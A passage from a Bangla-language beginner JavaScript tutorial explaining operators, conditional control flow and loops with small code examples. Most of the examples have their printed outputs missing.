console.log(true && true);
Output:
কিন্তু:
console.log(true && false);
Output:
| A | B | `A && B` |
|---|---|---|
| true | true | true |
| true | false | false |
| false | true | false |
| false | false | false |
ধরো কোনো website-এ checkout করার জন্য:
দুটোই true হতে হবে।
const isLoggedIn = true; const hasItems = true; console.log(isLoggedIn && hasItems);
Output:
||||-এর ক্ষেত্রে অন্তত একটি operand truthy হলে result truthy হতে পারে।
console.log(true || false);
Output:
| A | B | `A | B` | |
|---|---|---|---|---|
| true | true | true | ||
| true | false | true | ||
| false | true | true | ||
| false | false | false |
ধরো login করা যাবে:
যেকোনো একটি থাকলেই চলবে।
const hasGoogleLogin = false; const hasEmailLogin = true; console.log(hasGoogleLogin || hasEmailLogin);
Output:
!! Boolean value উল্টে দেয়।
console.log(!true);
Output:
আর:
console.log(!false);
Output:
const isLoggedIn = false; console.log(!isLoggedIn);
Output:
কারণ:
!!!! কোনো value-কে Boolean-এ convert করার একটি common technique।
console.log(!!"Hello");
Output:
আর:
console.log(!!0);
Output:
কারণ প্রথম ! এবং দ্বিতীয় ! মিলিয়ে Boolean conversion-এর মতো behavior দেয়।
এখানে JavaScript-এর একটি খুব important behavior আছে।
&& এবং || সবসময় true বা false return করে না।
তারা operand-এর actual value return করতে পারে।
Example:
console.log("Hello" && "World");Output:
কারণ "Hello" truthy, তাই && পরের operand evaluate করে এবং "World" return করে।
&& Short-Circuitconsole.log(false && "Hello");
Output:
কারণ প্রথম value-ই falsy।
JavaScript দ্বিতীয় operand-এর দিকে যেতে হয় না।
এটাকে বলে:
|| Short-Circuitconsole.log("Hello" || "World");Output:
কারণ "Hello" truthy।
JavaScript প্রথম truthy value পেয়ে থেমে গেছে।
পুরোনো/common pattern:
const username = userInput || "Guest"; console.log(username);
যদি userInput falsy হয়, "Guest" ব্যবহার হবে।
তবে মনে রাখবে—|| সব falsy value-কে fallback হিসেবে treat করে।
এজন্য modern JavaScript-এ অনেক ক্ষেত্রে ?? বেশি precise।
???? হলো modern JavaScript-এর খুব useful operator।
এটি fallback দেয় যখন left side:
অথবা:
হয়।
Example:
const username = null; console.log(username ?? "Guest");
Output:
?? vs ||এটা খুব important।
console.log(0 || 100);
Output:
কারণ 0 falsy।
কিন্তু:
console.log(0 ?? 100);
Output:
কারণ 0 null বা undefined নয়।
??ধরো user's age 0 valid value হতে পারে।
const age = 0; console.log(age ?? 18);
Output:
কিন্তু:
console.log(age || 18);
Output:
তাই context অনুযায়ী operator নির্বাচন করতে হবে।
?.ধরো একটি nested object:
const user = {
profile: {
name: "Ripon"
}
};তুমি লিখতে পারো:
console.log(user.profile.name);
Output:
কিন্তু যদি profile না থাকে?
const user = {};
console.log(user.profile.name);এতে error হবে।
const user = {};
console.log(user.profile?.name);Output:
?. বলে:
const user = {
profile: {
address: {
city: "Dhaka"
}
}
};
console.log(user.profile?.address?.city);Output:
আর:
const user = {};
console.log(user.profile?.address?.city);Output:
?.() দিয়ে optional function call করা যায়।
const user = {
greet() {
console.log("Hello!");
}
};
user.greet?.();Output:
যদি function না থাকে:
const user = {};
user.greet?.();তাহলে error না দিয়ে call skip করতে পারে।
++Variable-এর value 1 বাড়াতে:
let count = 5; count++; console.log(count);
Output:
Equivalent:
count = count + 1;
--Value 1 কমাতে:
let count = 5; count--; console.log(count);
Output:
Equivalent:
count = count - 1;
এটা একটু tricky।
Postfixlet x = 5; console.log(x++);
Output:
কিন্তু পরে:
console.log(x);
Output:
let x = 5; console.log(++x);
Output:
let a = 10; let b = a++; console.log(a); console.log(b);
Output:
কারণ a++ প্রথমে 10 return করেছে, তারপর a হয়েছে 11।
এখন:
let a = 10; let b = ++a; console.log(a); console.log(b);
Output:
কারণ ++a আগে increment করেছে।
যে operator একটি operand-এর উপর কাজ করে তাকে unary operator বলা হয়।
Examples:
typeof value
!value
++value
--value
এখানে এক operand নিয়ে operation হচ্ছে।
+String number-কে number-এ convert করার জন্য unary + ব্যবহার করা যায়।
const value = "100"; console.log(+value);
Output:
Type:
console.log(typeof +value);
Output:
তবে beginner হিসেবে explicit:
Number(value)
অনেক সময় বেশি readable।
-const value = "10"; console.log(-value);
Output:
এখানে string "10" numeric conversion-এর মধ্য দিয়ে গেছে।
? :Ternary operator হলো ছোট if/else condition লেখার concise way।
Syntax:
condition ? valueIfTrue : valueIfFalse
Example:
const age = 20; const result = age >= 18 ? "Adult" : "Minor"; console.log(result);
Output:
এই code:
const result = age >= 18 ? "Adult" : "Minor";
মানে:
const isLoggedIn = true;
const message = isLoggedIn
? "Welcome back!"
: "Please login";
console.log(message);Output:
Simple condition-এর জন্য।
খুব complex condition হলে normal if/else বেশি readable।
এগুলো comparatively advanced।
Bitwise operators number-এর binary representation-এর bit নিয়ে কাজ করে।
প্রধান operators:
এগুলো web development-এর daily beginner work-এ খুব বেশি লাগে না, কিন্তু JavaScript language-এর অংশ হিসেবে জানা উচিত।
&console.log(5 & 3);
Binary:
AND:
001 = 1
Output:
|console.log(5 | 3);
Binary:
111 = 7
Output:
^console.log(5 ^ 3);
Binary:
110 = 6
Output:
~console.log(~5);
Output:
এটা two's complement representation-এর কারণে হয়।
Bitwise concepts low-level programming, flags, certain algorithms ইত্যাদিতে useful হতে পারে।
<<console.log(5 << 1);
Output:
Binary:
>>console.log(10 >> 1);
Output:
>>>console.log(10 >>> 1);
Output:
>> এবং >>> negative number-এর ক্ষেত্রে গুরুত্বপূর্ণভাবে আলাদা behave করতে পারে।
typeof OperatorChapter 2-এ আমরা এটা দেখেছি।
const name = "Ripon"; console.log(typeof name);
Output:
আর:
console.log(typeof 100);
Output:
in Operatorin দিয়ে object-এর মধ্যে কোনো property আছে কিনা check করা যায়।
const user = {
name: "Ripon",
age: 22
};
console.log("name" in user);Output:
আর:
console.log("email" in user);Output:
instanceofinstanceof দিয়ে কোনো object কোনো constructor/class-এর instance কিনা check করা যায়।
const fruits = []; console.log(fruits instanceof Array);
Output:
আর:
const date = new Date(); console.log(date instanceof Date);
Output:
OOP এবং prototypes শেখার সময় instanceof আরও পরিষ্কার হবে।
একটি expression-এ একাধিক operator থাকলে কোনটা আগে execute হবে?
এটা নির্ধারণ করে operator precedence।
Example:
console.log(10 + 5 * 2);
অনেকে ভাবতে পারে:
কিন্তু output:
কারণ multiplication আগে:
() দিয়ে Priority Controlযদি তুমি addition আগে করতে চাও:
console.log((10 + 5) * 2);
Output:
কারণ:
যদি precedence নিয়ে confusion হয়, parentheses ব্যবহার করো।
সাধারণভাবে:
এটা পুরো specification-এর সম্পূর্ণ table নয়; বরং practical mental model।
এখন অনেক operator একসাথে:
const price = 500; const quantity = 3; const discount = 100; const total = price * quantity - discount; console.log(total);
Calculation:
Output:
const productPrice = 1200;
const quantity = 2;
const discount = 300;
const deliveryCharge = 100;
const subtotal = productPrice * quantity;
const total = subtotal - discount + deliveryCharge;
console.log("Subtotal:", subtotal);
console.log("Total:", total);Output:
const age = 22; const hasId = true; const canEnter = age >= 18 && hasId; console.log(canEnter);
Output:
এখানে:
|| + ?? Exampleconst username = ""; console.log(username || "Guest");
Output:
কারণ empty string falsy।
কিন্তু:
const username = ""; console.log(username ?? "Guest");
Output:
এখানে empty string null বা undefined নয়, তাই fallback হয়নি।
এই combination real-world frontend development-এ অনেক useful।
const user = {};
const city = user.profile?.address?.city ?? "Unknown";
console.log(city);Output:
এখানে:
= vs ===❌ ভুল ধারণা:
if (age = 18)
এখানে = assignment operator।
Comparison করতে সাধারণত:
if (age === 18)
ব্যবহার করবে।
== vs ===console.log(0 == false);
Output:
কিন্তু:
console.log(0 === false);
Output:
কারণ:
Modern JS-এ strict equality সাধারণত safer/predictable choice।
console.log("Price: " + 100 + 50);Output:
কারণ প্রথম +-এর পর String concatenation শুরু হয়েছে।
যদি 100 + 50 করতে চাও:
console.log("Price: " + (100 + 50));Output:
JavaScript-এর floating-point arithmetic-এ কিছু surprising result হতে পারে।
console.log(0.1 + 0.2);
Output:
কেন?
কারণ computer সাধারণত decimal fraction-কে binary floating-point representation-এ store করে, এবং কিছু decimal value exactভাবে represent করা যায় না।
এটা JavaScript-এর একার সমস্যা নয়; IEEE 754 floating-point systems-এর সাধারণ limitation।
যেমন:
console.log(0.1 + 0.2);
Expected:
কিন্তু actual:
Real-world financial systems-এ floating-point-এর বদলে integer smallest unit (যেমন cents/paisa) বা appropriate decimal/money handling ব্যবহার করা হয়।
এটা advanced application development-এ খুব important।
এক লাইনে মনে রাখো:
10 + 20
Operators-এর বড় পিকচার (Mental Architecture):
এগুলো আগে নিজে output predict করবে, তারপর browser console-এ run করবে:
console.log(20 + 10); console.log(20 - 10); console.log(20 * 10); console.log(20 / 10); console.log(20 % 3); console.log(2 ** 5);
let score = 100; score += 20; score -= 10; score *= 2; score /= 2; console.log(score);
Final output কী হবে?
console.log(10 > 5); console.log(10 < 5); console.log(10 >= 10); console.log(10 <= 9); console.log(10 == "10"); console.log(10 === "10");
প্রতিটির output explain করো।
console.log(true && false); console.log(true || false); console.log(!true); console.log(!false);
console.log("5" + 2);
console.log("5" - 2);
console.log("5" * 2);
console.log("5" / 2);কেন প্রথমটার behavior অন্যগুলোর থেকে আলাদা—নিজে explain করার চেষ্টা করো।
const age = 17; const result = age >= 18 ? "Adult" : "Minor"; console.log(result);
const user = {
profile: {
name: "Ripon"
}
};
console.log(user.profile?.name);
console.log(user.address?.city);JavaScript দিয়ে Subtotal ও Final Total বের করো।
নিজে এই logic তৈরি করার চেষ্টা করো:
800 | Quantity: 2 | Discount: 100 | Delivery: 601600 | Final Total: 1560
const productPrice = 800; const quantity = 2; const discount = 100; const deliveryCharge = 60; // 1. Subtotal calculation const subtotal = productPrice * quantity; // 2. Final Total calculation const finalTotal = subtotal - discount + deliveryCharge; console.log("Subtotal:", subtotal); // 1600 console.log("Final Total:", finalTotal); // 1560
এখানে ব্যবহৃত হয়েছে: Variables, Arithmetic operators, Assignment এবং console.log()
এর মধ্যে ===, &&, ||, ??, ?., %, ++/--, ternary এবং operator precedence বিশেষভাবে ভালোভাবে practice করবে।
এখানে JavaScript কীভাবে decision নেয় সেটা শুরু হবে:
এরপর আমরা ধাপে ধাপে Loops → Functions → Strings → Arrays → Objects → Scope → DOM → Events → Async JavaScript → APIs → OOP → Advanced JavaScript → JavaScript Internals-এর দিকে এগিয়ে যাব।
JavaScript-এর code সাধারণত উপরে থেকে নিচে, একটার পর একটা execute হয়। কিন্তু বাস্তব program-এ সবসময় এমন হয় না। যেমন:
এই ধরনের condition অনুযায়ী program-এর execution path পরিবর্তন করাকে বলা হয় Control Flow।
ধরো তুমি একটা shopping website-এ login করছো। সেখানে সিদ্ধান্ত গ্রহণ পদ্ধতি:
JavaScript-এ এই decision নেওয়ার জন্য সবচেয়ে বেশি ব্যবহার হয়:
if, else, else if, Nested if, switch, case, default, break, continue, Ternary operator, Truthy / Falsy, Logical conditions
if ব্যবহার করে আমরা কোনো condition true হলে নির্দিষ্ট code execute করতে পারি।
if (condition) { // code }
let age = 20; if (age >= 18) { console.log("You are an adult."); }
এখানে age >= 18 অর্থাৎ 20 >= 18 এর ফলাফল true। তাই { } এর ভিতরের code execute হয়েছে।
let age = 15; if (age >= 18) { console.log("You are an adult."); }
15 >= 18 এর ফলাফল false। তাই if block execute হয়নি।
যখন condition true হলে এক কাজ, আর false হলে অন্য কাজ করতে হবে, তখন if...else ব্যবহার করি।
if (condition) { // true হলে } else { // false হলে }
let age = 16; if (age >= 18) { console.log("You can vote."); } else { console.log("You cannot vote yet."); }
let balance = 5000; let withdraw = 7000; if (balance >= withdraw) { console.log("Please collect your money."); } else { console.log("Insufficient balance."); }
যখন একাধিক condition check করতে হবে তখন else if ব্যবহার করি।
if (condition1) { // code } else if (condition2) { // code } else if (condition3) { // code } else { // code }
let marks = 85; if (marks >= 80) { console.log("Grade A+"); } else if (marks >= 70) { console.log("Grade A"); } else if (marks >= 60) { console.log("Grade A-"); } else if (marks >= 50) { console.log("Grade B"); } else { console.log("Fail"); }
একটা if-এর মধ্যে একাধিক condition দেওয়া যায়। এখানে আমরা Chapter 3-এর logical operators ব্যবহার করব।
let age = 25; let hasNID = true; if (age >= 18 && hasNID) { console.log("You can open the account."); }
কারণ: age >= 18 → true এবং hasNID → true; সুতরাং true && true → true।
let hasEmail = true; let hasPhone = false; if (hasEmail || hasPhone) { console.log("You can create an account."); }
কারণ: true || false → true।
! condition-এর result উল্টে দেয়।
let isLoggedIn = false; if (!isLoggedIn) { console.log("Please login first."); }
কারণ: isLoggedIn = false, তাই !false হয়ে যায় true।
একটি if-এর ভিতরে আরেকটি if থাকলে তাকে Nested if বলে।
let age = 22; let hasNID = true; if (age >= 18) { if (hasNID) { console.log("Account can be created."); } }
if (age >= 18) { if (hasNID) { console.log("Account created."); } }
let isLoggedIn = true; let isAdmin = false; if (isLoggedIn) { if (isAdmin) { console.log("Welcome Admin."); } else { console.log("Welcome User."); } } else { console.log("Please login."); }
যখন একটি variable-এর একাধিক নির্দিষ্ট value check করতে হয়, তখন switch অনেক useful।
switch (value) { case value1: // code break; case value2: // code break; default: // code }
let day = 3; switch (day) { case 1: console.log("Saturday"); break; case 2: console.log("Sunday"); break; case 3: console.log("Monday"); break; case 4: console.log("Tuesday"); break; default: console.log("Invalid day"); }
কারণ: day = 3 তাই case 3 match করেছে।
switch-এর মধ্যে প্রতিটি possible value-কে case বলা হয়।
switch (day) { case 1: console.log("Saturday"); break; case 2: console.log("Sunday"); break; }
এখানে case 1 এবং case 2 দুটি possible case।
break ব্যবহার করে switch execution বন্ধ করা হয়।
let number = 2; switch (number) { case 1: console.log("One"); break; case 2: console.log("Two"); break; case 3: console.log("Three"); break; }
case 2 match করার পর break; এর কারণে switch শেষ হয়ে যায়।
break না দিলে নিচের সব case execute হয়ে যায়, একে Fall-through বলে!
let number = 2; switch (number) { case 1: console.log("One"); case 2: console.log("Two"); case 3: console.log("Three"); default: console.log("Other"); }
ব্যাখ্যা: অর্থাৎ case 2 match করার পর break না থাকায় পরের case-গুলোর code-ও execute করেছে।
কখনো কখনো আমরা ইচ্ছা করেই একাধিক case একই code-এর জন্য ব্যবহার করি।
let day = "Saturday"; switch (day) { case "Saturday": case "Sunday": console.log("Weekend"); break; default: console.log("Working day"); }
এখানে Saturday এবং Sunday দুটোতেই একই output প্রদর্শন করছে।
কোনো case match না করলে default execute হয়।
let day = 10; switch (day) { case 1: console.log("Saturday"); break; case 2: console.log("Sunday"); break; default: console.log("Invalid day"); }
দুটো দিয়েই decision নেওয়া যায়। কিন্তু ব্যবহারের ক্ষেত্র ভিন্ন:
`if...else`: Range বা complex condition-এর জন্য ভালো:
let marks = 75; if (marks >= 80) { console.log("A+"); } else if (marks >= 70) { console.log("A"); }
`switch`: Specific value-এর জন্য convenient:
let role = "admin"; switch (role) { case "admin": console.log("Admin Panel"); break; case "user": console.log("User Dashboard"); break; }
| Situation | সাধারণত ব্যবহার্য |
|---|---|
| Range check | if...else |
| Complex condition | if...else |
| Exact value match | switch |
| অনেকগুলো নির্দিষ্ট option | switch |
JavaScript-এর অন্যতম গুরুত্বপূর্ণ concept। if condition-এর মধ্যে JavaScript কোনো value-কে automatically true বা false হিসেবে evaluate করে।
JavaScript-এ প্রধান ৮টি falsy values:
false, 0, -0, 0n, "" (empty string), null, undefined, NaN
এগুলো condition-এর মধ্যে false হিসেবে behave করে।
let username = ""; if (username) { console.log("Username exists."); } else { console.log("Username is empty."); }
কারণ: "" একটি falsy value।
Falsy ছাড়া প্রায় সব value truthy। উদাহরণ: "hello", 42, -10, [], {}, true।
let username = "Shariar"; if (username) { console.log("Username exists."); }
if ([]) { console.log("Array is truthy"); }
if ({}) { console.log("Object is truthy"); }
আগের Chapter-এ আমরা Ternary দেখেছি। এটা if...else-এর ছোট version।
condition ? valueIfTrue : valueIfFalse;
let age = 20; let result = age >= 18 ? "Adult" : "Minor"; console.log(result);
Equivalent `if...else`:
let age = 20; let result; if (age >= 18) { result = "Adult"; } else { result = "Minor"; } console.log(result);
দুটোর output হুবহু একই।
ধরো website-এ login status দেখাতে হবে:
let isLoggedIn = true; let message = isLoggedIn ? "Welcome back!" : "Please login."; console.log(message);
Ternary-এর ভিতরে Ternary দেওয়া যায়।
let marks = 85; let grade = marks >= 80 ? "A+" : marks >= 70 ? "A" : marks >= 60 ? "A-" : "Fail"; console.log(grade);
if...else ব্যবহার করা বেশি readable।
Chapter 3-এ আমরা short-circuit দেখেছি। এখন control flow-এর সঙ্গে এটি ব্যবহার করি।
`&&` শর্ট-সার্কিট গার্ড প্যাটার্নlet isLoggedIn = true; isLoggedIn && console.log("Show Dashboard");
যদি isLoggedIn = false; হতো, তবে কিছু execute হতো না। কারণ false && anything → false।
let username = ""; let displayName = username || "Guest"; console.log(displayName);
কারণ: "" || "Guest" → "Guest"। Website-এ username না থাকলে Guest দেখাবে।
|| এবং ?? এক জিনিস না। ?? শুধুমাত্র null অথবা undefined হলে right side value নেয়।
let username = null; let name = username ?? "Guest"; console.log(name); // Guest let username2 = ""; let name2 = username2 ?? "Guest"; console.log(name2); // "" (Empty string সংরক্ষিত থাকবে কারণ এটি null বা undefined নয়)
let value = 0; console.log(value || 100); console.log(value ?? 100);
|| → falsy (যেমন: 0, "") হলেই fallback ভ্যালু নেয়।?? → শুধুমাত্র null / undefined হলেই fallback ভ্যালু নেয় (0 বা "" বহাল রাখে)।
ধরো let user = {};। এখন console.log(user.profile.name); দিলে TypeError দিয়ে crash করতে পারে কারণ profile নেই।
Optional chaining দিলে crash না করে undefined রিটার্ন করে:
let user = {};
console.log(user.profile?.name);
এতে program crash না করে নিরাপদে undefined পাওয়া যায়।
let user = { profile: { name: "Shariar" } }; if (user.profile?.name) { console.log("Name:", user.profile.name); }
এবার একটা real-world login system দেখি:
let email = "user@gmail.com"; let password = "123456"; let isVerified = true; if ( email === "user@gmail.com" && password === "123456" && isVerified ) { console.log("Login successful."); } else { console.log("Invalid login information."); }
এখানে ৩টি condition: email === "user@gmail.com", password === "123456", এবং isVerified। সবকটি true হওয়ায় true && true && true → true।
ধরো একটি পণ্য ক্রয়ের লজিক:
let price = 1500; let stock = 5; let isLoggedIn = true; if (isLoggedIn && stock > 0) { console.log("You can buy this product."); } else { console.log("You cannot buy this product."); }
let totalAmount = 6000; if (totalAmount >= 10000) { console.log("20% discount"); } else if (totalAmount >= 5000) { console.log("10% discount"); } else if (totalAmount >= 2000) { console.log("5% discount"); } else { console.log("No discount"); }
এটা নিজে খুব ভালোভাবে practice করবে। পুরো গ্রেডিং ল্যাডার:
let marks = 76; if (marks >= 80) { console.log("A+"); } else if (marks >= 70) { console.log("A"); } else if (marks >= 60) { console.log("A-"); } else if (marks >= 50) { console.log("B"); } else if (marks >= 40) { console.log("C"); } else if (marks >= 33) { console.log("D"); } else { console.log("F"); }
এটা real-world web development-এ খুব common:
let isLoggedIn = true; let role = "admin"; if (isLoggedIn) { if (role === "admin") { console.log("Welcome to Admin Dashboard."); } else if (role === "teacher") { console.log("Welcome to Teacher Dashboard."); } else { console.log("Welcome to User Dashboard."); } } else { console.log("Please login first."); }
এই ধরনের logic পরে React, Node.js, Express, authentication system ইত্যাদিতে অনেক কাজে লাগবে।
একই কাজ switch দিয়েও পরিষ্কারভাবে করা যায়:
let role = "teacher"; switch (role) { case "admin": console.log("Admin Dashboard"); break; case "teacher": console.log("Teacher Dashboard"); break; case "student": console.log("Student Dashboard"); break; default: console.log("Unknown Role"); }
Control flow-এ এটি অনেক important:
let age = "18"; if (age == 18) { console.log("Matched"); // Type coercion হয়, তাই execute করে } if (age === 18) { console.log("Matched"); // Type ভিন্ন ("18" string vs 18 number), তাই কিছুই দেখাবে না }
=== ব্যবহার করা উচিত।
if (age = 18) { console.log("Adult"); }= হলো assignment operator। এটি variable-এ 18 assign করে দেয় এবং 18 truthy হওয়ায় সর্বদা true হয়ে যায়!
if (age === 18) { console.log("Adult"); }
if (age >= 18); { console.log("Adult"); }; এর কারণে if-এর স্টেটমেন্ট সেখানেই শেষ হয়ে যায় এবং { } ব্লকটি সাধারণ ব্লক হিসেবে সবসময় রান হয়!
if (age >= 18) { console.log("Adult"); } (if ব্র্যাকেটের শেষে সেমিকোলন দেওয়া যাবে না)।
Technically single statement হলে braces ছাড়া লেখা যায়:
if (age >= 18) console.log("Adult");
কিন্তু professional code-এ সবসময় কার্লি ব্রেসেস { } ব্যবহার করা হয়:
if (age >= 18) { console.log("Adult"); }
এতে code readable এবং maintainable হয়।
এখন পুরো Chapter-এর concept একসাথে:
IF - ELSE IF - ELSE FLOWএবার সব concept ব্যবহার করে একটি বাস্তবমুখী ATM প্রজেক্টের লজিক:
let balance = 10000; let withdrawAmount = 3000; let pinCorrect = true; if (pinCorrect) { if (withdrawAmount <= balance) { balance -= withdrawAmount; console.log("Withdrawal successful."); console.log("Withdrawn:", withdrawAmount); console.log("Remaining balance:", balance); } else { console.log("Insufficient balance."); } } else { console.log("Incorrect PIN."); }
কী হচ্ছে? প্রথমে pinCorrect চেক করছে → সঠিক হলে withdrawAmount <= balance চেক করছে → টাকা কেটে নিয়ে অবশিষ্ট ব্যালেন্স 10000 - 3000 = 7000 আপডেট করছে।
let isLoggedIn = true; let productInStock = true; let price = 2500; let balance = 3000; if (isLoggedIn) { if (productInStock) { if (balance >= price) { balance -= price; console.log("Order placed successfully."); console.log("Remaining balance:", balance); } else { console.log("Insufficient balance."); } } else { console.log("Product is out of stock."); } } else { console.log("Please login first."); }
| Concept | কাজ |
|---|---|
if | Condition true হলে code চালায় |
else | Condition false হলে code চালায় |
else if | Multiple condition check করে |
Nested if | if-এর ভিতরে if |
switch | Specific value match করে |
case | switch-এর possible value |
break | switch/loop থেকে বের হয় |
default | কোনো case match না করলে চলে |
&& | সব condition true হতে হবে |
|| | যেকোনো একটি true হলেই হবে |
! | Boolean result উল্টায় |
?: | Short if...else (Ternary) |
?? | null/undefined হলে fallback |
?. | Safe property access (Optional Chaining) |
Truthy | if-এ true হিসেবে behave করে |
Falsy | if-এ false হিসেবে behave করে |
if (condition) {
// code
}
if (condition) {
// true
} else {
// false
}
if (c1) { }
else if (c2) { }
else { }
switch (val) {
case 1: break;
default:
}
condition ? trueVal : falseVal;
if (value) { // truthy }
let name = username ?? "Guest";
if statement কী?if এবং else-এর মধ্যে পার্থক্য কী?else if কখন ব্যবহার করা হয়?switch কী?break কেন ব্যবহার করা হয়?default কী?&& এবং ||-এর মধ্যে পার্থক্য কী?let number = 25;
Check করো number even নাকি odd।
Expected: Odd
let age = 17;
Output দেখাও: Adult অথবা Minor।
let marks = 92;
গ্রেডিং স্কেল অনুযায়ী Grade বের করো।
let email = "admin@gmail.com"; let password = "1234"; let isVerified = true;
সব ঠিক থাকলে: Login Successful, না হলে: Login Failed।
let price = 5000; let balance = 6000; let inStock = true;
Check করো product কেনা যাবে কি না।
এই Chapter শেষ করলে তুমি JavaScript-এ:
এই পুরো concept বুঝে যাবে। এগুলোই পরে বাস্তব application-এর:
ইত্যাদির basic decision-making logic তৈরি করবে।
পরবর্তী অধ্যায়ে আমরা একদম বিস্তারিতভাবে শিখব:
for loop, while loop, do...while, for...of, for...in, Nested loops, break, continue, Infinite loop, Loop control, Arrays-এর সঙ্গে loop, Objects-এর সঙ্গে loop, Real-life examples, Pattern printing, Practical mini projects।
এবং প্রতিটি topic হবে Concept → Code → Output → সহজ Bangla explanation → Real-life example এই একই format-এ।
JavaScript-এ অনেক সময় আমাদের একই কাজ বারবার করতে হয়। যেমন:
প্রতিবার আলাদা করে code লিখলে:
console.log(1); console.log(2); console.log(3); console.log(4); console.log(5);
এভাবে 100 বার লিখতে হবে। 😵 তার পরিবর্তে Loop ব্যবহার করি।
ধরো teacher বললেন:
তুমি যদি প্রতিটি student-এর জন্য আলাদা instruction দাও, অনেক সময় লাগবে।
Programming-এ:
এটা loop দিয়ে করা যায়।
JavaScript-এ গুরুত্বপূর্ণ loopগুলো হলো:
| Loop | ব্যবহার |
|---|---|
for | নির্দিষ্ট সংখ্যক বার কাজ |
while | condition true থাকা পর্যন্ত |
do...while | অন্তত একবার execute করে |
for...of | iterable-এর values নিয়ে কাজ |
for...in | object-এর keys/properties নিয়ে কাজ |
| Nested loop | loop-এর ভিতরে loop |
এছাড়া:
break continue
দিয়ে loop-এর flow control করা যায়।
for Loopসবচেয়ে common loop হলো for loop।
for (initialization; condition; update) { // code }
এখানে তিনটি গুরুত্বপূর্ণ অংশ:
for Loopfor (let i = 1; i <= 5; i++) { console.log(i); }
এখন একদম step-by-step দেখি।
let i = 1;
i এর value = 1
i <= 5
তাই:
console.log(i);
Output:
i++
তাই:
আবার condition check।
তারপর:
এভাবে চলতে থাকে।
শেষে:
তখন loop বন্ধ হয়ে যায়।
for Loop-এর তিনটি অংশএই code:
for (let i = 1; i <= 5; i++) { console.log(i); }
এখানে:
let i = 1
Loop শুরু হওয়ার আগে একবার execute হয়।
i <= 5
প্রতিবার check হয়।
i++
প্রতিবার loop body শেষ হওয়ার পর execute হয়।
শুধু সামনে নয়, পিছন দিকেও loop চালানো যায়।
for (let i = 5; i >= 1; i--) { console.log(i); }
এখানে:
i--
প্রতিবার value 1 করে কমাচ্ছে।
1 থেকে 10 পর্যন্ত even number বের করি।
for (let i = 1; i <= 10; i++) { if (i % 2 === 0) { console.log(i); } }
এখানে:
i % 2 === 0
মানে number 2 দিয়ে ভাগ করলে remainder 0।
for (let i = 1; i <= 10; i++) { if (i % 2 !== 0) { console.log(i); } }
1 থেকে 5 পর্যন্ত সব number-এর যোগফল বের করি।
let sum = 0; for (let i = 1; i <= 5; i++) { sum = sum + i; } console.log(sum);
কারণ:
sum += iউপরের code আরও short করা যায়:
let sum = 0; for (let i = 1; i <= 5; i++) { sum += i; } console.log(sum);
Output:
কারণ:
sum += i;
মানে:
sum = sum + i;
ধরো 5-এর নামতা।
let number = 5; for (let i = 1; i <= 10; i++) { console.log(number + " x " + i + " = " + number * i); }
let number = 5; for (let i = 1; i <= 10; i++) { console.log(`${number} x ${i} = ${number * i}`); }
Output একই:
এটা real-world JavaScript-এ অনেক বেশি readable।
while Loopwhile loop ব্যবহার করা হয় যখন:
while (condition) { // code }
let i = 1; while (i <= 5) { console.log(i); i++; }
while Loop কীভাবে কাজ করে?let i = 1;
তারপর:
while (i <= 5)
condition check করে।
তারপর 1 print হয়।
এরপর:
i++;
এখন:
আবার condition।
এভাবে:
শেষে:
Loop বন্ধ।
for বনাম whileforযখন কতবার loop চলবে সেটা মোটামুটি জানা থাকে:
for (let i = 1; i <= 10; i++) { console.log(i); }
whileযখন condition-based repetition বেশি natural:
while (userHasNotFinished) { // কাজ }
সহজভাবে:
| Situation | Loop |
|---|---|
| নির্দিষ্ট counting | for |
| Known number of iterations | for |
| Condition-based | while |
| Unknown number of iterations | while |
do...while Loopdo...while একটু আলাদা।
এখানে প্রথমে code execute হবে, তারপর condition check হবে।
Syntaxdo { // code } while (condition);
let i = 1; do { console.log(i); i++; } while (i <= 5);
while বনাম do...whileএটা খুব important।
whilelet i = 10; while (i <= 5) { console.log(i); }
কারণ প্রথমেই:
do...whilelet i = 10; do { console.log(i); } while (i <= 5);
কারণ do block প্রথমে একবার execute হয়েছে।
ধরো user-কে অন্তত একবার login attempt করতে হবে।
let attempt = 1; do { console.log(`Login attempt: ${attempt}`); attempt++; } while (attempt <= 3);
যে loop কখনো শেষ হয় না তাকে Infinite Loop বলে।
Examplelet i = 1; while (i <= 5) { console.log(i); }
⚠️ এখানে problem হলো:
i++
দেওয়া হয়নি।
তাই i সবসময় 1 থাকবে।
Condition:
সবসময় true।
ফলে loop চলতেই থাকবে।
for Loopএটাও সম্ভব:
for (;;) { console.log("Hello"); }
এটি infinite loop।
⚠️ Browser/Node.js-এ এমন code accidentalভাবে চালালে সমস্যা হতে পারে।
breakbreak ব্যবহার করে loop সম্পূর্ণভাবে বন্ধ করা যায়।
for (let i = 1; i <= 10; i++) { if (i === 5) { break; } console.log(i); }
যখন:
i === 5
তখন:
break;
loop সম্পূর্ণ stop করে দেয়।
breakধরো 100 জন student-এর মধ্যে তুমি "Rahim"-কে খুঁজছো।
Rahim পাওয়া গেলে আর search করার দরকার নেই।
let students = ["Karim", "Sakib", "Rahim", "Hasan", "Nabil"]; for (let i = 0; i < students.length; i++) { if (students[i] === "Rahim") { console.log("Rahim found!"); break; } console.log("Checking:", students[i]); }
Rahim পাওয়ার পর loop stop হয়েছে।
continuecontinue loop বন্ধ করে না।
বরং বর্তমান iteration skip করে next iteration-এ চলে যায়।
Examplefor (let i = 1; i <= 5; i++) { if (i === 3) { continue; } console.log(i); }
3 skip হয়েছে।
break বনাম continueএটা অবশ্যই মনে রাখবে।
breakcontinue| Keyword | কাজ |
|---|---|
break | পুরো loop stop |
continue | current iteration skip |
for...ofএটি modern JavaScript-এর খুব important loop।
এটি iterable-এর values নিয়ে কাজ করে।
Array-এর ক্ষেত্রে খুব useful।
Examplelet fruits = ["Apple", "Banana", "Mango"]; for (let fruit of fruits) { console.log(fruit); }
এখানে:
fruit
প্রতিবার একটি value পাচ্ছে।
for...of কেন useful?Traditional for:
let fruits = ["Apple", "Banana", "Mango"]; for (let i = 0; i < fruits.length; i++) { console.log(fruits[i]); }
for...of:
for (let fruit of fruits) { console.log(fruit); }
দ্বিতীয়টা অনেক cleaner।
for...of with StringString-ও iterable।
let name = "Shariar"; for (let character of name) { console.log(character); }
for...of with Arraylet numbers = [10, 20, 30, 40]; for (let number of numbers) { console.log(number); }
for...infor...in সাধারণত Object-এর keys/properties iterate করতে ব্যবহার করা হয়।
let user = { name: "Shariar", age: 23, country: "Bangladesh" }; for (let key in user) { console.log(key); }
এখানে:
key
হচ্ছে:
for...in দিয়ে Value পাওয়াObject-এর value পেতে:
